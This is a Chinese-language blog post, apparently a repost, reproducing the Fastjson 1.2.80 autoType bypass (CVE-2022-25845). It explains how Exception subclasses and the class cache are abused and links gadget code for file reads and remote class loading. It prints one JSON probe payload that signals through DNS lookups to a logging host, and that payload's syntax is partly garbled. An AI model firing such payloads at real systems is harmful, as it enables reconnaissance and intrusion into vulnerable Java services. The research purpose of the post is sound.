Fastjson1.2.80漏洞复现

admin 2023年2月16日21:30:03评论47 views字数 2287阅读7分37秒阅读模式
  • • Web安全

  • • Fastjson

  • • unserialize

  • • CVE-2022-25845



Fastjson于5月23日,在commit 560782ccommit 097bff1中更新了security_update_20220523的修复方案。调整黑白名单的同时额外判断了Exception,并在添加类缓存mappings前新增了autoTypeSupport的判断。

显而易见Exception的派生类中出了叛徒,不久后fastjson-blacklist更新了黑名单类名,直到前几天漏洞作者iSafeBlue公开了思路与Gadgets,本文是对浅蓝师傅议题中留下的一点小作业的复现记录。

期望类与类缓存

不太了解的同学可以参考《Fastjson-autoType漏洞总结》(https://hosch3n.github.io/2022/03/24/Fastjson-autoType%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/),1.2.80第一步依然是基于众所周知的期望类机制将其它类加入类缓存,关键在于怎么横向出Exception之外的其它类型。

Fastjson反序列化恢复类实例时,自然也需要恢复用到了的类属性。如果这个属性是可利用的类且我们可控,是不是就能直接利用 或者进一步横向扩展出其它类间接利用。上一篇我们说到了期望类不但可以由JSON显式指定,同样可以由类间关系隐式确定,那么依靠属性名赋值时的隐式类间关系,也就不再需要在JSON中显式指定@type,从而绕过了autoType的白名单检查。

实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类。

利用流程

  1. 1. 指定显式期望类,实例化XXXException并被加入类缓存。

  2. 2. 通过XXXException中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存。

  3. 3. 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存。

第二步的重点在于,既然不能显示指定期望类,就只能依靠deserializer去自动处理,我们需要构造出让它解析时进到特定deserializer分支的特定格式。对此我提供一个aspectj读文件和groovy远程类加载的具体实现便于师傅们理解复现。更多Gadgets浅蓝师傅在Slides中写得很清楚了,可以自行构造。

https://github.com/hosch3n/FastjsonVulns

Fastjson1.2.80漏洞复现


Fastjson1.2.80漏洞复现

两点小坑

再提醒两点小坑,一是如果DNSLog是用p师傅的CoNote,存在下划线时是不会被记录到的(这个问题让我自闭了一阵)。

经继续测试和p师傅提醒,如果链路上的DNS服务器缓存或不接受特殊字符,可能导致DNSLog记录丢失。

{
    "@type":"java.net.Inet4Address",
    "val":{
        "@type":"java.lang.String"{
        "@type":"java.util.Locale",
        "val":{
            "@type":"com.alibaba.fastjson.JSONObject",{
                "@type":"java.lang.String"
                "@type":"java.util.Locale",
                "country":"g.token.dnslog.pw",
                "language":{
                    "@type":"java.lang.String"{
                    "x":{
                        "@type":"java.lang.Class",
                        "val":"org.python.antlr.ParseException"
                    }
                }
            }
        }
    }

二是目前测试来看只有MacOS可以ping带花括号的域名,Linux和Windows会报错。所以这个探测链的Poc需要要合适的报错环境才能看到结果。

参考资料

commit 560782c:https://github.com/alibaba/fastjson/commit/560782c9ee12120304284ba98b61dc61e30324b3

commit 097bff1:https://github.com/alibaba/fastjson/commit/097bff1a792e39f4e0b2807faa53af0e89fbe5e0

security_update_20220523:https://github.com/alibaba/fastjson/wiki/security_update_20220523

fastjson-blacklist:https://github.com/LeadroyaL/fastjson-blacklist

iSafeBlue:https://github.com/iSafeBlue


原文始发于微信公众号(默安逐日实验室):Fastjson1.2.80漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月16日21:30:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson1.2.80漏洞复现http://cn-sec.com/archives/1281623.html

发表评论

匿名网友 填写信息